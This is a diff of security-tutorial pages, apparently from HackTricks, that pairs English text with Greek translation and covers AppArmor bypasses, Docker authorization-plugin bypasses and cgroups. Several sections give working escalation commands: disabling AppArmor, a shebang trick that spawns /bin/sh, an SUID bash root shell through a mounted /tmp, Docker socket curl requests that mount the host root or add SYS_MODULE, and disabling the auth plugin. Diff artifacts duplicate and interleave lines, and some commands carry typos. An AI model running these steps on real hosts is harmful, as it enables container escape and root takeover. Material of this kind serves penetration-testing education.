- Άλλες **υποκαταλόγους**/**αρχεία** του /**proc** και /**sys** έχουν **αρνηθεί** πρόσβαση σε ανάγνωση/εγγραφή/κλείδωμα/σύνδεση/εκτέλεση
- **Τοποθέτηση** **δεν επιτρέπεται**
- **Ptrace** μπορεί να εκτελείται μόνο σε μια διαδικασία που περιορίζεται από το **ίδιο προφίλ apparmor**
Μόλις **εκτελέσετε ένα docker container**, θα πρέπει να δείτε την παρακάτω έξοδο:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
Σημειώστε ότι το **apparmor θα μπλοκάρει ακόμη και τις δυνατότητες προνομίων** που χορηγούνται στο κοντέινερ από προεπιλογή. Για παράδειγμα, θα είναι σε θέση να **μπλοκάρει την άδεια εγγραφής μέσα στο /proc ακόμη και αν η δυνατότητα SYS_ADMIN έχει χορηγηθεί** επειδή από προεπιλογή το προφίλ apparmor του docker αρνείται αυτή την πρόσβαση:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
Πρέπει να **απενεργοποιήσετε το apparmor** για να παρακάμψετε τους περιορισμούς του:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Σημειώστε ότι από προεπιλογή το **AppArmor** θα **απαγορεύει επίσης στο κοντέινερ να προσαρτήσει** φακέλους από το εσωτερικό ακόμη και με ικανότητα SYS_ADMIN.
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
Σημειώστε ότι μπορείτε να **προσθέσετε/αφαιρέσετε** **ικανότητες** στο docker κοντέινερ (αυτό θα είναι ακόμα περιορισμένο από μεθόδους προστασίας όπως το **AppArmor** και το **Seccomp**):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` δίνει ικανότητα `SYS_ADMIN`
- `--cap-add=ALL` δίνει όλες τις ικανότητες
- `--cap-drop=ALL --cap-add=SYS_PTRACE` αφαιρεί όλες τις ικανότητες και δίνει μόνο `SYS_PTRACE`
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> Συνήθως, όταν **ανακαλύπτετε** ότι έχετε μια **προνομιακή ικανότητα** διαθέσιμη **μέσα** σε ένα **docker** κοντέινερ **αλλά** κάποιο μέρος της **εκμετάλλευσης δεν λειτουργεί**, αυτό θα είναι επειδή το docker **το apparmor θα το αποτρέπει**.
### Example
### Παράδειγμα
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
(Παράδειγμα από [**εδώ**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Για να απεικονίσω τη λειτουργικότητα του AppArmor, δημιούργησα ένα νέο προφίλ Docker “mydocker” με την παρακάτω γραμμή προστιθέμενη:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
Για να ενεργοποιήσουμε το προφίλ, πρέπει να κάνουμε τα εξής:
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
Για να καταγράψουμε τα προφίλ, μπορούμε να εκτελέσουμε την παρακάτω εντολή. Η παρακάτω εντολή καταγράφει το νέο μου προφίλ AppArmor.
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
Όπως φαίνεται παρακάτω, λαμβάνουμε σφάλμα όταν προσπαθούμε να αλλάξουμε το “/etc/” καθώς το προφίλ AppArmor εμποδίζει την πρόσβαση εγγραφής στο “/etc”.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
Μπορείτε να βρείτε ποιο **προφίλ apparmor εκτελεί ένα κοντέινερ** χρησιμοποιώντας:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
Στη συνέχεια, μπορείτε να εκτελέσετε την παρακάτω γραμμή για να **βρείτε το ακριβές προφίλ που χρησιμοποιείται**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
Σε περίπτωση που μπορείτε να **τροποποιήσετε το προφίλ apparmor docker και να το επαναφορτώσετε.** Μπορείτε να αφαιρέσετε τους περιορισμούς και να τους "παρακάμψετε".
### AppArmor Docker Bypass2
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
**Το AppArmor είναι βασισμένο σε διαδρομές**, αυτό σημαίνει ότι ακόμη και αν μπορεί να **προστατεύει** αρχεία μέσα σε έναν φάκελο όπως **`/proc`**, αν μπορείτε να **ρυθμίσετε πώς θα εκτελείται το κοντέινερ**, μπορείτε να **τοποθετήσετε** τον φάκελο proc του host μέσα σε **`/host/proc`** και **δεν θα προστατεύεται πλέον από το AppArmor**.
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
Στο [**αυτό το σφάλμα**](https://bugs.launchpad.net/apparmor/+bug/1911431) μπορείτε να δείτε ένα παράδειγμα του πώς **ακόμη και αν αποτρέπετε την εκτέλεση του perl με ορισμένους πόρους**, αν απλώς δημιουργήσετε ένα shell script **καθορίζοντας** στην πρώτη γραμμή **`#!/usr/bin/perl`** και **εκτελέσετε το αρχείο απευθείας**, θα μπορείτε να εκτελέσετε ό,τι θέλετε. Π.χ.:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Dockers** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Dockers Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
**Το** out-of-the-box **μοντέλο εξουσιοδότησης του Docker** είναι **όλα ή τίποτα**. Οποιοσδήποτε χρήστης έχει άδεια πρόσβασης στο Docker daemon μπορεί να **εκτελέσει οποιαδήποτε** εντολή Docker client. Το ίδιο ισχύει και για τους καλούντες που χρησιμοποιούν το Docker Engine API για να επικοινωνήσουν με το daemon. Εάν απαιτείτε **μεγαλύτερο έλεγχο πρόσβασης**, μπορείτε να δημιουργήσετε **plugins εξουσιοδότησης** και να τα προσθέσετε στη διαμόρφωση του Docker daemon σας. Χρησιμοποιώντας ένα plugin εξουσιοδότησης, ένας διαχειριστής Docker μπορεί να **διαμορφώσει λεπτομερείς πολιτικές πρόσβασης** για τη διαχείριση της πρόσβασης στο Docker daemon.
# Basic architecture
# Βασική αρχιτεκτονική
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
Τα Docker Auth plugins είναι **εξωτερικά** **plugins** που μπορείτε να χρησιμοποιήσετε για να **επιτρέψετε/αρνηθείτε** **ενέργειες** που ζητούνται από το Docker Daemon **ανάλογα** με τον **χρήστη** που το ζήτησε και την **ενέργεια** **που ζητήθηκε**.
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[Οι παρακάτω πληροφορίες προέρχονται από τα docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
Όταν γίνεται μια **HTTP** **αίτηση** στο Docker **daemon** μέσω του CLI ή μέσω του Engine API, το **υποσύστημα αυθεντικοποίησης** **περνά** την αίτηση στα εγκατεστημένα **plugins αυθεντικοποίησης**. Η αίτηση περιέχει τον χρήστη (καλούντα) και το πλαίσιο εντολής. Το **plugin** είναι υπεύθυνο για την απόφαση αν θα **επιτρέψει** ή θα **αρνηθεί** την αίτηση.
The sequence diagrams below depict an allow and deny authorization flow:
Τα διαγράμματα ακολουθίας παρακάτω απεικονίζουν μια ροή εξουσιοδότησης επιτρεπόμενης και αρνητικής:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
Κάθε αίτηση που αποστέλλεται στο plugin **περιλαμβάνει τον αυθεντικοποιημένο χρήστη, τις HTTP κεφαλίδες και το σώμα αίτησης/απάντησης**. Μόνο το **όνομα χρήστη** και η **μέθοδος αυθεντικοποίησης** που χρησιμοποιείται περνούν στο plugin. Το πιο σημαντικό, **κανένα** διαπιστευτήριο **χρήστη** ή tokens δεν περνούν. Τέλος, **όχι όλα τα σώματα αίτησης/απάντησης αποστέλλονται** στο plugin εξουσιοδότησης. Μόνο εκείνα τα σώματα αίτησης/απάντησης όπου το `Content-Type` είναι είτε `text/*` είτε `application/json` αποστέλλονται.
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
Για εντολές που μπορεί να αναλάβουν τη σύνδεση HTTP (`HTTP Upgrade`), όπως το `exec`, το plugin εξουσιοδότησης καλείται μόνο για τις αρχικές HTTP αιτήσεις. Μόλις το plugin εγκρίνει την εντολή, η εξουσιοδότηση δεν εφαρμόζεται στην υπόλοιπη ροή. Συγκεκριμένα, τα δεδομένα ροής δεν περνούν στα plugins εξουσιοδότησης. Για εντολές που επιστρέφουν τμηματική HTTP απάντηση, όπως το `logs` και το `events`, μόνο η HTTP αίτηση αποστέλλεται στα plugins εξουσιοδότησης.
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
Κατά τη διάρκεια της επεξεργασίας αίτησης/απάντησης, ορισμένες ροές εξουσιοδότησης μπορεί να χρειαστεί να κάνουν επιπλέον ερωτήματα στο Docker daemon. Για να ολοκληρωθούν αυτές οι ροές, τα plugins μπορούν να καλέσουν το daemon API όπως ένας κανονικός χρήστης. Για να επιτραπούν αυτές οι επιπλέον ερωτήσεις, το plugin πρέπει να παρέχει τα μέσα για έναν διαχειριστή να διαμορφώσει κατάλληλες πολιτικές αυθεντικοποίησης και ασφάλειας.
## Several Plugins
## Πολλά Plugins
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
Είστε υπεύθυνοι για **την καταχώριση** του **plugin** σας ως μέρος της **εκκίνησης** του Docker daemon. Μπορείτε να εγκαταστήσετε **πολλαπλά plugins και να τα αλυσσοδέσετε**. Αυτή η αλυσίδα μπορεί να είναι διατεταγμένη. Κάθε αίτηση προς το daemon περνά με σειρά μέσω της αλυσίδας. Μόνο όταν **όλα τα plugins παραχωρήσουν πρόσβαση** στο πόρο, η πρόσβαση παραχωρείται.
# Plugin Examples
# Παραδείγματα Plugins
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
Το plugin [**authz**](https://github.com/twistlock/authz) σας επιτρέπει να δημιουργήσετε ένα απλό **JSON** αρχείο που το **plugin** θα **διαβάζει** για να εξουσιοδοτήσει τις αιτήσεις. Έτσι, σας δίνει την ευκαιρία να ελέγξετε πολύ εύκολα ποιες API endpoints μπορούν να φτάσουν σε κάθε χρήστη.
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
Αυτό είναι ένα παράδειγμα που θα επιτρέπει στους Alice και Bob να δημιουργήσουν νέους κοντέινερ: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
Στη σελίδα [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) μπορείτε να βρείτε τη σχέση μεταξύ της ζητούμενης URL και της ενέργειας. Στη σελίδα [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) μπορείτε να βρείτε τη σχέση μεταξύ του ονόματος της ενέργειας και της ενέργειας.
## Simple Plugin Tutorial
## Απλός Οδηγός Plugin
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Μπορείτε να βρείτε ένα **εύκολο στην κατανόηση plugin** με λεπτομερείς πληροφορίες σχετικά με την εγκατάσταση και την αποσφαλμάτωση εδώ: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
Διαβάστε το `README` και τον κώδικα `plugin.go` για να κατανοήσετε πώς λειτουργεί.
# Docker Auth Plugin Bypass
# Παράκαμψη Docker Auth Plugin
## Enumerate access
## Καταμέτρηση πρόσβασης
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
Τα κύρια πράγματα που πρέπει να ελέγξετε είναι **ποια endpoints επιτρέπονται** και **ποια τιμές του HostConfig επιτρέπονται**.
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
Για να εκτελέσετε αυτή την καταμέτρηση μπορείτε να **χρησιμοποιήσετε το εργαλείο** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
## disallowed `run --privileged`
### Minimum Privileges
## απαγορευμένο `run --privileged`
### Ελάχιστα Προνόμια
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### Εκτέλεση ενός κοντέινερ και στη συνέχεια απόκτηση προνομιακής συνεδρίας
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
Σε αυτή την περίπτωση, ο διαχειριστής συστήματος **δεν επέτρεψε στους χρήστες να προσαρτούν όγκους και να εκτελούν κοντέινερ με την επιλογή `--privileged`** ή να δίνουν οποιαδήποτε επιπλέον δυνατότητα στο κοντέινερ:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
Ωστόσο, ένας χρήστης μπορεί **να δημιουργήσει ένα shell μέσα στο τρέχον κοντέινερ και να του δώσει τα επιπλέον δικαιώματα**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
Τώρα, ο χρήστης μπορεί να ξεφύγει από το κοντέινερ χρησιμοποιώντας οποιαδήποτε από τις [**προηγουμένως συζητηθείσες τεχνικές**](./#privileged-flag) και **να κλιμακώσει τα δικαιώματα** μέσα στον οικοδεσπότη.
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## Τοποθέτηση Εγγράψιμου Φακέλου
Σε αυτή την περίπτωση, ο διαχειριστής συστήματος **απαγόρευσε στους χρήστες να εκτελούν κοντέινερ με την επιλογή `--privileged`** ή να δίνουν οποιαδήποτε επιπλέον δυνατότητα στο κοντέινερ, και επέτρεψε μόνο την τοποθέτηση του φακέλου `/tmp`:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Σημειώστε ότι ίσως δεν μπορείτε να προσαρτήσετε τον φάκελο `/tmp`, αλλά μπορείτε να προσαρτήσετε έναν **διαφορετικό εγγράψιμο φάκελο**. Μπορείτε να βρείτε εγγράψιμους καταλόγους χρησιμοποιώντας: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Σημειώστε ότι δεν υποστηρίζουν όλοι οι κατάλογοι σε μια μηχανή linux το suid bit!** Για να ελέγξετε ποιους καταλόγους υποστηρίζει το suid bit, εκτελέστε `mount | grep -v "nosuid"` Για παράδειγμα, συνήθως οι `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` και `/var/lib/lxcfs` δεν υποστηρίζουν το suid bit.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Σημειώστε επίσης ότι αν μπορείτε να **προσαρτήσετε το `/etc`** ή οποιονδήποτε άλλο φάκελο **που περιέχει αρχεία ρυθμίσεων**, μπορείτε να τα αλλάξετε από το docker container ως root προκειμένου να **τα εκμεταλλευτείτε στον host** και να κερδίσετε δικαιώματα (ίσως τροποποιώντας το `/etc/shadow`)
## Unchecked API Endpoint
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
Η ευθύνη του sysadmin που ρυθμίζει αυτό το plugin θα είναι να ελέγχει ποιες ενέργειες και με ποια δικαιώματα μπορεί να εκτελεί κάθε χρήστης. Επομένως, αν ο διαχειριστής ακολουθήσει μια προσέγγιση **μαύρης λίστας** με τα endpoints και τα χαρακτηριστικά, μπορεί να **ξεχάσει μερικά από αυτά** που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **κερδίσει δικαιώματα.**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
Μπορείτε να ελέγξετε το docker API στο [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
Είναι πιθανό ότι όταν ο sysadmin ρύθμισε το docker firewall, **ξέχασε κάποιο σημαντικό παράμετρο** του [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) όπως το "**Binds**".\
Στο παρακάτω παράδειγμα είναι δυνατόν να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση για να δημιουργήσετε και να εκτελέσετε ένα container που προσαρτά τον ριζικό (/) φάκελο του host:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> Σημειώστε πώς σε αυτό το παράδειγμα χρησιμοποιούμε το **`Binds`** παραμέτρο ως κλειδί επιπέδου ρίζας στο JSON αλλά στην API εμφανίζεται κάτω από το κλειδί **`HostConfig`**
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Ακολουθήστε την ίδια οδηγία όπως με **Binds in root** εκτελώντας αυτή την **request** στην Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **αίτηση** στο Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Ακολουθήστε τις ίδιες οδηγίες όπως με **Binds in root** εκτελώντας αυτήν την **request** στο Docker API:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
Είναι πιθανό ότι όταν ο διαχειριστής συστήματος ρύθμισε το docker firewall **ξέχασε κάποιο σημαντικό χαρακτηριστικό μιας παραμέτρου** του [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) όπως το "**Capabilities**" μέσα στο "**HostConfig**". Στο παρακάτω παράδειγμα είναι δυνατόν να εκμεταλλευτούμε αυτή τη λανθασμένη ρύθμιση για να δημιουργήσουμε και να εκτελέσουμε ένα κοντέινερ με την ικανότητα **SYS_MODULE**:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> Το **`HostConfig`** είναι το κλειδί που συνήθως περιέχει τα **ενδιαφέροντα** **προνόμια** για να ξεφύγετε από το κοντέινερ. Ωστόσο, όπως έχουμε συζητήσει προηγουμένως, σημειώστε πώς η χρήση Binds εκτός αυτού λειτουργεί επίσης και μπορεί να σας επιτρέψει να παρακάμψετε περιορισμούς.
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## Απενεργοποίηση Πρόσθετου
Εάν ο **sysadmin** **ξέχασε** να **απαγορεύσει** την ικανότητα να **απενεργοποιήσετε** το **πρόσθετο**, μπορείτε να εκμεταλλευτείτε αυτό για να το απενεργοποιήσετε εντελώς!
```bash
docker plugin list #Enumerate plugins
@ -186,8 +167,7 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
Θυμηθείτε να **επανενεργοποιήσετε το plugin μετά την εκχώρηση δικαιωμάτων**, ή μια **επανεκκίνηση της υπηρεσίας docker δεν θα λειτουργήσει**!
## Auth Plugin Bypass writeups

View File

@ -4,16 +4,15 @@
## Basic Information
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux Control Groups**, ή **cgroups**, είναι μια δυνατότητα του πυρήνα Linux που επιτρέπει την κατανομή, τον περιορισμό και την προτεραιοποίηση των πόρων του συστήματος όπως CPU, μνήμη και δίσκος I/O μεταξύ ομάδων διεργασιών. Προσφέρουν έναν μηχανισμό για **τη διαχείριση και την απομόνωση της χρήσης πόρων** συλλογών διεργασιών, ωφέλιμο για σκοπούς όπως ο περιορισμός πόρων, η απομόνωση φορτίου εργασίας και η προτεραιοποίηση πόρων μεταξύ διαφορετικών ομάδων διεργασιών.
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
Υπάρχουν **δύο εκδόσεις cgroups**: η έκδοση 1 και η έκδοση 2. Και οι δύο μπορούν να χρησιμοποιηθούν ταυτόχρονα σε ένα σύστημα. Η κύρια διάκριση είναι ότι **η έκδοση cgroups 2** εισάγει μια **ιεραρχική, δένδρο-όπως δομή**, επιτρέποντας πιο λεπτομερή και λεπτομερή κατανομή πόρων μεταξύ ομάδων διεργασιών. Επιπλέον, η έκδοση 2 φέρνει διάφορες βελτιώσεις, συμπεριλαμβανομένων:
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
Εκτός από τη νέα ιεραρχική οργάνωση, η έκδοση cgroups 2 εισήγαγε επίσης **πολλές άλλες αλλαγές και βελτιώσεις**, όπως υποστήριξη για **νέους ελεγκτές πόρων**, καλύτερη υποστήριξη για κληρονομημένες εφαρμογές και βελτιωμένη απόδοση.
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shells cgroups with this command:
Συνολικά, η **έκδοση cgroups 2 προσφέρει περισσότερες δυνατότητες και καλύτερη απόδοση** από την έκδοση 1, αλλά η τελευταία μπορεί να χρησιμοποιηθεί σε ορισμένα σενάρια όπου η συμβατότητα με παλαιότερα συστήματα είναι ανησυχία.
Μπορείτε να καταγράψετε τις ομάδες cgroups v1 και v2 για οποιαδήποτε διεργασία κοιτάζοντας το αρχείο cgroup της στο /proc/\<pid>. Μπορείτε να ξεκινήσετε κοιτάζοντας τις ομάδες cgroups του shell σας με αυτή την εντολή:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,60 +27,53 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
Η δομή εξόδου είναι ως εξής:
The output structure is as follows:
- **Αριθμοί 212**: cgroups v1, με κάθε γραμμή να αντιπροσωπεύει ένα διαφορετικό cgroup. Οι ελεγκτές για αυτά καθορίζονται δίπλα στον αριθμό.
- **Αριθμός 1**: Επίσης cgroups v1, αλλά αποκλειστικά για σκοπούς διαχείρισης (ορισμένο από, π.χ., systemd), και δεν έχει ελεγκτή.
- **Αριθμός 0**: Αντιπροσωπεύει cgroups v2. Δεν αναφέρονται ελεγκτές, και αυτή η γραμμή είναι αποκλειστική σε συστήματα που εκτελούν μόνο cgroups v2.
